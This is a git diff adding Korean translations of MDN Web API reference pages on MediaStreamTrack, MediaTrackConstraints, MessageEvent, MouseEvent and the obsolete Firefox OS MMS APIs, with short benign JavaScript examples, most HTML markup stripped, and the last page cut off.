diff --git a/files/ko/web/api/mediastreamtrack/readystate/index.html b/files/ko/web/api/mediastreamtrack/readystate/index.html new file mode 100644 index 0000000000..97a6b5262d --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/readystate/index.html @@ -0,0 +1,60 @@ +--- +title: MediaStreamTrack.readyState +slug: Web/API/MediaStreamTrack/readyState +tags: + - API + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference +translation_of: Web/API/MediaStreamTrack/readyState +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.readyState 읽기 전용 속성은 트랙의 상태를 나타내는 열거형 값을 반환합니다.

+ +

구문

+ +
const state = track.readyState
+ +

+ +

다음의 두 값 중 하나입니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-readystate', 'MediaStreamTrack.readyState') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.readyState")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/stop/index.html b/files/ko/web/api/mediastreamtrack/stop/index.html new file mode 100644 index 0000000000..e8ee82011e --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/stop/index.html @@ -0,0 +1,82 @@ +--- +title: MediaStreamTrack.stop() +slug: Web/API/MediaStreamTrack/stop +tags: + - API + - Media + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/stop +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.stop() 메서드는 트랙을 정지합니다.

+ +

구문

+ +
track.stop()
+
+ +

설명

+ +

stop() 메서드를 호출하면 {{glossary("user agent", "사용자 에이전트")}}에게 {{domxref("MediaStreamTrack")}}이 소스(파일, 네트워크 스트림, 장치 카메라와 마이크...)를 더는 필요로 하지 않음을 표현합니다. 두 개의 탭이 장치의 마이크에 접근하고 있는 경우처럼, 다수의 트랙이 하나의 소스를 사용하고 있을 수도 있으므로 소스 자체는 즉시 멈추지 않을 수도 있으며, 대신 트랙과 소스를 즉시 분리합니다. 아무런 미디어 트랙도 소스를 사용하지 않는 상태가 되면 그때 소스가 완전히 정지합니다.

+ +

stop()을 호출함과 동시에 {{domxref("MediaStreamTrack.readyState", "readyState")}} 속성은 ended로 바뀝니다.

+ +

예제

+ +

비디오 스트림 정지

+ +

이번 예제는 주어진 {{HTMLElement("video")}} 요소의 모든 트랙에서 stop()을 호출해 비디오 스트림을 정지하는 함수입니다.

+ +
function stopStreamedVideo(videoElem) {
+  const stream = videoElem.srcObject;
+  const tracks = stream.getTracks();
+
+  tracks.forEach(function(track) {
+    track.stop();
+  });
+
+  videoElem.srcObject = null;
+}
+ +

우선 비디오 요소에서 {{domxref("HTMLMediaElement.srcObject", "srcObject")}} 속성을 사용해 스트림을 가져오는 것부터 시작합니다. 그다음으로는 {{domxref("MediaStream.getTracks", "getTracks()")}} 메서드를 사용해 스트림의 트랙 목록을 가져오고, 이제 {{jsxref("Array.forEach", "forEach()")}}로 각 트랙의 stop() 메서드를 호출합니다.

+ +

마지막으로, srcObject를 {{jsxref("null")}}로 설정해서 {{domxref("MediaStream")}}과의 연결을 끊어, 객체를 해제할 수 있도록 합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-stop', 'MediaStreamTrack.stop()') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.stop")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediatrackconstraints/index.html b/files/ko/web/api/mediatrackconstraints/index.html new file mode 100644 index 0000000000..dd8f52948b --- /dev/null +++ b/files/ko/web/api/mediatrackconstraints/index.html @@ -0,0 +1,178 @@ +--- +title: MediaTrackConstraints +slug: Web/API/MediaTrackConstraints +translation_of: Web/API/MediaTrackConstraints +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaTrackConstraints 연관 배열은 트랙의 기능 및 기능이 받는 값 또는 값의 범위를 설명합니다. {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}에 전달해서, 스크립트가 일련의 필수(일치) 조건과 선호 조건의 값과 범위를 트랙에 설정할 수 있으며, 가장 최근에 설정한 사용자 지정 제약은 {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}를 호출해 가져올 수 있습니다.

+ +

For each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible. The specifics vary somewhat depending on the type of the constrainable property.

+ +

To learn more about how constraints work, see 기능, 제약, 설정.

+ +

속성

+ +

Some combination—but not necessarily all—of the following properties will exist on the object. This may be because a given browser doesn't support the property, or because it doesn't apply. For example, because {{Glossary("RTP")}} doesn't provide some of these values during negotiation of a WebRTC connection, a track associated with a {{domxref("RTCPeerConnection")}} will not include certain values, such as {{domxref("MediaTrackConstraints.facingMode", "facingMode")}} or {{domxref("MediaTrackConstraints.groupId", "groupId")}}.

+ +

모든 미디어 트랙의 속성

+ +
+
{{domxref("MediaTrackConstraints.deviceId", "deviceId")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a device ID or an array of device IDs which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.groupId", "groupId")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a group ID or an array of group IDs which are acceptable and/or required.
+
+ +

오디오 트랙의 속성

+ +
+
{{domxref("MediaTrackConstraints.autoGainControl", "autoGainControl")}}
+
A {{domxref("ConstrainBoolean")}} object which specifies whether automatic gain control is preferred and/or required.
+
{{domxref("MediaTrackConstraints.channelCount", "channelCount")}}
+
A {{domxref("ConstrainLong")}} specifying the channel count or range of channel counts which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.echoCancellation", "echoCancellation")}}
+
A {{domxref("ConstrainBoolean")}} object specifying whether or not echo cancellation is preferred and/or required.
+
{{domxref("MediaTrackConstraints.latency", "latency")}}
+
A {{domxref("ConstrainDouble")}} specifying the latency or range of latencies which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.noiseSuppression", "noiseSuppression")}}
+
A {{domxref("ConstrainBoolean")}} which specifies whether noise suppression is preferred and/or required.
+
{{domxref("MediaTrackConstraints.sampleRate", "sampleRate")}}
+
A {{domxref("ConstrainLong")}} specifying the sample rate or range of sample rates which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.sampleSize", "sampleSize")}}
+
A {{domxref("ConstrainLong")}} specifying the sample size or range of sample sizes which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.volume", "volume")}}
+
A {{domxref("ConstrainDouble")}} specifying the volume or range of volumes which are acceptable and/or required.
+
+ +

이미지 트랙의 속성

+ +
+
{{domxref("MediaTrackConstraints.whiteBalanceMode","whiteBalanceMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.exposureMode","exposureMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.focusMode","focusMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.pointsOfInterest","pointsOfInterest")}}
+
The pixel coordinates on the sensor of one or more points of interest. This is either an object in the form { x:value, y:value } or an array of such objects, where value  is a double-precision integer.
+
{{domxref("MediaTrackConstraints.expsureCompensation","exposureCompensation")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying f-stop adjustment by up to ±3. 
+
{{domxref("MediaTrackConstraints.colorTemperature","colorTemperature")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired color temperature in degrees kelvin.
+
{{domxref("MediaTrackConstraints.iso","iso")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired iso setting.
+
{{domxref("MediaTrackConstraints.brightness","brightness")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired brightness setting.
+
{{domxref("MediaTrackConstraints.contrast","contrast")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of difference between light and dark.
+
{{domxref("MediaTrackConstraints.saturation","saturation")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of color intensity.
+
{{domxref("MediaTrackConstraints.sharpness","sharpness")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the intensity of edges.
+
{{domxref("MediaTrackConstraints.focusDistance","focusDistance")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying distance to a focused object.
+
{{domxref("MediaTrackConstraints.zoom","zoom")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the desired focal length.
+
{{domxref("MediaTrackConstraints.torch","torch")}}
+
A {{jsxref("Boolean")}} defining whether the fill light is continuously connected, meaning it stays on as long as the track is active.
+
+ +

비디오 트랙의 속성

+ +
+
{{domxref("MediaTrackConstraints.aspectRatio", "aspectRatio")}}
+
A {{domxref("ConstrainDouble")}} specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.facingMode", "facingMode")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a facing or an array of facings which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.frameRate", "frameRate")}}
+
A {{domxref("ConstrainDouble")}} specifying the frame rate or range of frame rates which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.height", "height")}}
+
A {{domxref("ConstrainLong")}} specifying the video height or range of heights which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.width", "width")}}
+
A {{domxref("ConstrainLong")}} specifying the video width or range of widths which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.resizeMode", "resizeMode")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a mode or an array of modes the UA can use to derive the resolution of a video track. Allowed values are none and crop-and-scale. none means that the user agent uses the resolution provided by the camera, its driver or the OS. crop-and-scale means that the user agent can use cropping and downscaling on the camera output  in order to satisfy other constraints that affect the resolution.
+
+ +

화면 공유 트랙의 속성

+ +

These constraints apply to MediaTrackConstraints objects specified as part of the {{domxref("DisplayMediaStreamConstraints")}} object's {{domxref("DisplayMediaStreamConstraints.video", "video")}} property when using {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to obtain a stream for screen sharing.

+ +
+
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
+
+

A {{domxref("ConstrainDOMString")}} which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. The value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor.

+ +
+
always
+
The mouse is always visible in the video content of the {domxref("MediaStream"), unless the mouse has moved outside the area of the content.
+
motion
+
The mouse cursor is always included in the video if it's moving, and for a short time after it stops moving.
+
never
+
The mouse cursor is never included in the shared video.
+
+
+
{{domxref("MediaTrackConstraints.displaySurface", "displaySurface")}}
+
+

A {{domxref("ConstrainDOMString")}} which specifies the types of display surface that may be selected by the user. This may be a single one of the following strings, or a list of them to allow multiple source surfaces:

+ +
+
application
+
The stream contains all of the windows of the application chosen by the user rendered into the one video track.
+
browser
+
The stream contains the contents of a single browser tab selected by the user.
+
monitor
+
The stream's video track contains the entire contents of one or more of the user's screens.
+
window
+
The stream contains a single window selected by the user for sharing.
+
+
+
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
+
A {{domxref("ConstrainBoolean")}} value which may contain a single Boolean value or a set of them, indicating whether or not to allow the user to choose source surfaces which do not directly correspond to display areas. These may include backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediatrackconstraints')}}{{Spec2('Media Capture')}}Initial definition.
{{SpecName('MediaStream Image', '#mediatrackconstraintset-section')}}{{Spec2('MediaStream Image')}}Adds image constraints.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.MediaTrackConstraints")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/messageevent/index.html b/files/ko/web/api/messageevent/index.html new file mode 100644 index 0000000000..d6a9bea388 --- /dev/null +++ b/files/ko/web/api/messageevent/index.html @@ -0,0 +1,104 @@ +--- +title: MessageEvent +slug: Web/API/MessageEvent +translation_of: Web/API/MessageEvent +--- +
{{APIRef("HTML DOM")}}
+ +

MessageEvent 는 {{domxref("WebSocket")}} 또는 WebRTC {{domxref("RTCDataChannel")}} 으로 된 타겟으로 부터 전달받은 메시지를 보여주는 interface 입니다.

+ +

이 이벤트는 {{domxref("WebSocket.onmessage")}} 또는 {{domxref("RTCDataChannel.onmessage")}} 으로 설정된 이벤트 핸들러를 통해 실행이 되게 됩니다. 

+ +

{{AvailableInWorkers}}

+ +

생성자

+ +
+
{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}
+
새로운 MessageEvent를 생성합니다.
+
+ +

속성

+ +

이 interface는 부모 객체인 {{domxref("Event")}}의 속성을 상속받습니다.

+ +
+
{{domxref("MessageEvent.data")}} {{ReadonlyInline}}
+
emitter에 의해 보내진 데이터인 {{domxref("DOMString")}}, {{domxref("Blob")}} 또는 {{domxref("ArrayBuffer")}}를 포함합니다. 
+
{{domxref("MessageEvent.origin")}}
+
{{domxref("DOMString")}} 입니다.…
+
{{domxref("MessageEvent.ports")}}
+
+
{{domxref("MessageEvent.source")}}
+
+
+ +

메서드

+ +

이 interface는 부모 객체인 {{domxref("Event")}}의 메서드를 상속받습니다.

+ +
+
{{domxref("MessageEvent.initMessageEvent()")}} {{deprecated_inline}}
+
더 이상 사용하지 마십시오
+ : {{domxref("MessageEvent.MessageEvent", "MessageEvent()")}} 생성자를 대신 사용하십시오.
+
+ +

Browser 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("2.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Gecko 11.0 {{geckoRelease("11.0")}}부터  Gecko는 데이터를 위한 ArrayBuffer를 지원하지만{{domxref("Blob")}}를 지원하지는 않습니다.

+ +

See also

+ + diff --git a/files/ko/web/api/mouseevent/clientx/index.html b/files/ko/web/api/mouseevent/clientx/index.html new file mode 100644 index 0000000000..5806a312da --- /dev/null +++ b/files/ko/web/api/mouseevent/clientx/index.html @@ -0,0 +1,82 @@ +--- +title: MouseEvent.clientX +slug: Web/API/MouseEvent/clientX +translation_of: Web/API/MouseEvent/clientX +--- +
{{{APIRef("DOM 이벤트")}}
+{{domxref("MouseEvent")}}} 인터페이스의 clientX 읽기 전용 속성은 이벤트가 발생한 애플리케이션 {{glossary("viewport")}}}} 내에 수평 좌표를 제공한다(페이지 내의 좌표와는 반대).
+
+예를 들어 뷰포트의 왼쪽 가장자리를 클릭하면 페이지가 수평으로 스크롤되는지 여부에 관계없이 항상 clientX 값이 0인 마우스 이벤트가 발생한다.
+ +

Syntax

+ +
var x = instanceOfMouseEvent.clientX
+
+ +

Return value

+ +

CSSOM 뷰 모듈에 의해 재정의된 이중 부동 소수점 값. 원래 이 속성은 긴 정수로 정의되었다. 자세한 내용은 "브라우저 호환성" 섹션을 참조하십시오.

+ +

Example

+ +

이 예에서는 {{Event("mousemove")}}} 이벤트를 트리거할 때마다 마우스 좌표를 표시한다.

+ +

HTML

+ +
<p>위치를 보려면 마우스를 이동하십시오..</p>
+<p id="screen-log"></p>
+ +

JavaScript

+ +
let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+  screenLog.innerText = `
+    Screen X/Y: ${e.screenX}, ${e.screenY}
+    Client X/Y: ${e.clientX}, ${e.clientY}`;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#dom-mouseevent-clientx', 'clientX')}}{{Spec2('CSSOM View')}}Redefines {{domxref("MouseEvent")}} from long to double.
{{SpecName('DOM3 Events','#widl-MouseEvent-clientX','MouseEvent.clientX')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientX')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

브라우저 호환성

+ + + +

참고 항목

+ + diff --git a/files/ko/web/api/mouseevent/index.html b/files/ko/web/api/mouseevent/index.html new file mode 100644 index 0000000000..384dae2ff5 --- /dev/null +++ b/files/ko/web/api/mouseevent/index.html @@ -0,0 +1,188 @@ +--- +title: MouseEvent +slug: Web/API/MouseEvent +translation_of: Web/API/MouseEvent +--- +
{{APIRef("DOM Events")}}
+ +

MouseEvent 인터페이스는 특정 지점을 가리키는 장치를 통해 발생하는 이벤트를 의미한다 (마우스 등). 주로 사용되는 이벤트로는 {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}}, {{event("mousedown")}}가 있다.

+ +

MouseEvent 는 {{domxref("UIEvent")}}에서, {{domxref("UIEvent")}}는 {{domxref("Event")}}에서 파생되었다. MouseEvent 객체(object)를 생성하고자 할 때에는 {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}} 생성자(constructor)를 사용해야 한다. {{domxref("MouseEvent.initMouseEvent()")}} 메서드는 하위호환성을 위해 유지된다.

+ +

{{domxref("WheelEvent")}}, {{domxref("DragEvent")}} 등 특정 이벤트는 MouseEvent를 기반으로 한다.

+ +

{{InheritanceDiagram}}

+ +

Constructor

+ +
+
{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}
+
Creates a MouseEvent object.
+
+ +

Properties

+ +

This interface also inherits properties of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("MouseEvent.altKey")}} {{readonlyinline}}
+
Returns true if the alt key was down when the mouse event was fired.
+
{{domxref("MouseEvent.button")}} {{readonlyinline}}
+
The button number that was pressed (if applicable) when the mouse event was fired.
+
{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}
+
The buttons being depressed (if any) when the mouse event was fired.
+
{{domxref("MouseEvent.clientX")}} {{readonlyinline}}
+
The X coordinate of the mouse pointer in local (DOM content) coordinates.
+
{{domxref("MouseEvent.clientY")}} {{readonlyinline}}
+
The Y coordinate of the mouse pointer in local (DOM content) coordinates.
+
{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}
+
Returns true if the control key was down when the mouse event was fired.
+
{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}
+
Returns true if the meta key was down when the mouse event was fired.
+
{{domxref("MouseEvent.movementX")}} {{readonlyinline}}
+
The X coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.
+
{{domxref("MouseEvent.movementY")}} {{readonlyinline}}
+
The Y coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.
+
{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}
+
The X coordinate of the mouse pointer relative to the position of the padding edge of the target node.
+
{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}
+
The Y coordinate of the mouse pointer relative to the position of the padding edge of the target node.
+
{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}
+
The X coordinate of the mouse pointer relative to the whole document.
+
{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}
+
The Y coordinate of the mouse pointer relative to the whole document.
+
{{domxref("MouseEvent.region")}} {{readonlyinline}}
+
Returns the id of the hit region affected by the event. If no hit region is affected, null is returned.
+
{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}
+
+

The secondary target for the event, if there is one.

+
+
{{domxref("MouseEvent.screenX")}} {{readonlyinline}}
+
The X coordinate of the mouse pointer in global (screen) coordinates.
+
{{domxref("MouseEvent.screenY")}} {{readonlyinline}}
+
The Y coordinate of the mouse pointer in global (screen) coordinates.
+
{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}
+
Returns true if the shift key was down when the mouse event was fired.
+
{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}
+
The button being pressed when the mouse event was fired.
+
{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{deprecated_inline}} {{readonlyinline}}
+
The amount of pressure applied to a touch or tablet device when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure). Instead of using this deprecated (and non-standard) property, you should instead use {{domxref("PointerEvent")}} and look at its {{domxref("PointerEvent.pressure", "pressure")}} property.
+
{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}
+
The type of device that generated the event (one of the MOZ_SOURCE_* constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).
+
{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}
+
The amount of pressure applied when clicking
+
{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}
+
Alias for {{domxref("MouseEvent.clientX")}}.
+
{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}
+
Alias for {{domxref("MouseEvent.clientY")}}
+
+ +

Constants

+ +
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}
+
Minimum force necessary for a normal click
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}
+
Minimum force necessary for a force click
+
+ +

Methods

+ +

This interface also inherits methods of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("MouseEvent.getModifierState()")}}
+
Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.
+
{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}
+
Initializes the value of a MouseEvent created. If the event has already being dispatched, this method does nothing.
+
+ +

Example

+ +

This example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using DOM methods.

+ +

HTML

+ +
<p><label><input type="checkbox" id="checkbox"> Checked</label>
+<p><button id="button">Click me</button>
+ +

JavaScript

+ +
function simulateClick() {
+  var evt = new MouseEvent("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.dispatchEvent(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);
+ +

Result

+ +

{{EmbedLiveSample('Example')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#extensions-to-the-mouseevent-interface', 'MouseEvent')}}{{Spec2('CSSOM View')}}Redefines MouseEvent from long to double. This means that a PointerEvent whose pointerType is mouse will be a double.
{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}{{Spec2('Pointer Lock')}}From {{SpecName('DOM3 Events')}}, added movementX and movementY properties.
{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}{{Spec2('CSSOM View')}}From {{SpecName('DOM3 Events')}}, added offsetX and offsetY, pageX and pageY, x, and y properties. Redefined screen, page, client, and coordinate (x and y) properties as double from long.
{{SpecName('UI Events', '#interface-mouseevent', 'MouseEvent')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}{{Spec2('DOM3 Events')}}From {{SpecName('DOM2 Events')}}, added the MouseEvent() constructor, the getModifierState() method and the buttons property.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.MouseEvent")}}

+ +

See also

+ + diff --git a/files/ko/web/api/mozmmsevent/index.html b/files/ko/web/api/mozmmsevent/index.html new file mode 100644 index 0000000000..6a3975d40b --- /dev/null +++ b/files/ko/web/api/mozmmsevent/index.html @@ -0,0 +1,82 @@ +--- +title: MozMmsEvent +slug: Web/API/MozMmsEvent +tags: + - Firefox OS + - Mobile + - Non-standard + - Obsolete + - Reference + - WebSMS +translation_of: Archive/B2G_OS/API/MozMmsEvent +--- +

{{ Apiref() }}

+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +

요약

+ +

DOM MozMmsEvent 는 WebSMS MMS 메시지와 관련된 이벤트 객체이다.

+ +

속성

+ +
+
{{domxref("MozMmsEvent.message")}} {{readonlyinline}}
+
해당 이벤트에 의해 발생된 {{ domxref("MozMmsMessage") }} 이다.
+
+ +

MozMmsEvent 는 또한 {{domxref("Event")}} 의 속성을 상속받는다.

+ +

{{page("/en-US/docs/Web/API/Event","Properties")}}

+ +

메소드

+ +

MozMmsEvent 는 {{domxref("Event")}} 의 메소드를 상속받는다.

+ +

{{page("/en-US/docs/Web/API/Event","Methods")}}

+ +

이벤트

+ +

MozMmsEvent 는 다음과 같은 이벤트들에 사용된다:

+ +
+
{{event("deliverysuccess")}}
+
MMS가 수신자에게 전달되었을 때 발생한다.
+
{{event("received")}}
+
MMS를 받았을 때 발생한다.
+
{{event("sent")}}
+
MMS를 보냈을 때 발생한다.
+
+ +

명세

+ +

이 API는 비 표준 스펙의 구현체이다. 그러나 W3C의 System Application Working Group에서 논의되고 있다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

같이 보기

+ +
 
+ + diff --git a/files/ko/web/api/mozmmsmessage/index.html b/files/ko/web/api/mozmmsmessage/index.html new file mode 100644 index 0000000000..1d00b8050d --- /dev/null +++ b/files/ko/web/api/mozmmsmessage/index.html @@ -0,0 +1,83 @@ +--- +title: MozMmsMessage +slug: Web/API/MozMmsMessage +tags: + - Firefox OS + - Mobile + - Non-standard + - Obsolete + - Reference + - WebSMS +translation_of: Archive/B2G_OS/API/MozMmsMessage +--- +
{{APIRef("Mobile Messaging API")}}
+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +

요약

+ +

DOM MozMmsMessage 객체는 MMS 메시지를 나타내며 발신자, 수신자, 본문, 첨부 파일, 날짜와 같은 모든 정보를 가지고 있다.

+ +

속성

+ +
+
 
+
{{domxref("MozMmsMessage.type")}} {{readonlyinline}}
+
mms라는 값을 가지는 문자열이다.
+
{{domxref("MozMmsMessage.id")}} {{readonlyinline}}
+
메시지의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozMmsMessage.threadId")}} {{readonlyinline}}
+
메시지 일부의 스레드의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozMmsMessage.subject")}} {{readonlyinline}}
+
메시지의 제목을 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMmsMessage.smil")}} {{readonlyinline}}
+
메시지의 SMIL 콘텐츠를 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMmsMessage.attachments")}} {{readonlyinline}}
+
SMIL 콘텐츠에 필요한 첨부 파일을 나타내는 객체의 배열을 반환한다. 이 객체들은 id, location, content(Blob)를 포함하고 있다.
+
{{domxref("MozMmsMessage.expiryDate")}} {{readonlyinline}}
+
MMS를 수동으로 다운로드 받게 되는 만기일을 나타내는 Date 객체를 반환한다.
+
{{domxref("MozMmsMessage.delivery")}} {{readonlyinline}}
+
not-download, received, sending, sent, error 중 하나의 값을 가지게 되는 {{ domxref("DOMString") }} 의 배열을 반환한다.
+
{{domxref("MozMmsMessage.deliveryStatus")}} {{readonlyinline}}
+
delivery 속성 값에 따른 상태를 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMmsMessage.read")}} {{readonlyinline}}
+
메시지를 읽었는지 읽지 않았는지를 가리키는 Boolean을 반환한다.
+
{{domxref("MozMmsMessage.receivers")}} {{readonlyinline}}
+
각 수신자의 이름을 가진 {{ domxref("DOMString") }} 의 배열을 반환한다.
+
{{domxref("MozMmsMessage.sender")}} {{readonlyinline}}
+
발신자의 이름을 가진 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMmsMessage.timestamp")}} {{readonlyinline}}
+
메시지의 타임스탬프인 Date 객체를 반환한다.
+
+ +

명세

+ +

이 API는 비 표준 스펙의 구현체이다. 그러나 W3C의 System Application Working Group에서 논의되고 있다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

같이 보기

+ +
 
+ + diff --git a/files/ko/web/api/mozmobilemessagemanager/index.html b/files/ko/web/api/mozmobilemessagemanager/index.html new file mode 100644 index 0000000000..6b301fe71b --- /dev/null +++ b/files/ko/web/api/mozmobilemessagemanager/index.html @@ -0,0 +1,101 @@ +--- +title: MozMobileMessageManager +slug: Web/API/MozMobileMessageManager +tags: + - Firefox OS + - Mobile + - Obsolete + - Reference + - WebSMS +translation_of: Archive/B2G_OS/API/MozMobileMessageManager +--- +
{{APIRef("Mobile Messaging API")}}
+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +

요약

+ +

